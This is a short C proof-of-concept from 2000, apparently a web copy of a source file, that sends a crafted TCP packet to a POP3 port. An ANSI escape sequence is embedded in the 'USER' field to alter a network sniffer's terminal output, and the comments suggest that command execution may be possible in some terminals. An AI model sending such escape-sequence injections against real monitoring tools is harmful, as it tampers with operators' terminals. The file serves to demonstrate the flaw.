// Many network-monitoring tools pass user-given
// input raw to the terminal. This lets us do funny things.
// More evil, one could execute commands in very hard,
// maybe impossible cases (depends on how your terminal interprets
// what)
// This piece turns output of 'tetheral' blue.
// (C) 2000 by S. Krahmer under the GPL. Needs libUSI++
#include <stdio.h>
#include <usi++/tcp.h>
#include <string.h>
using namespace usipp;
int main()
{
TCP tcp("target");
char buf[100];
memset(buf, 0, sizeof(buf));
tcp.set_srcport(1024);
tcp.set_dstport(110);
sprintf(buf, "USER \E[34m"); // turn tehereal's output into blue
tcp.sendpack(buf);
return 0;
}
syntax highlighted by Code2HTML, v. 0.9.1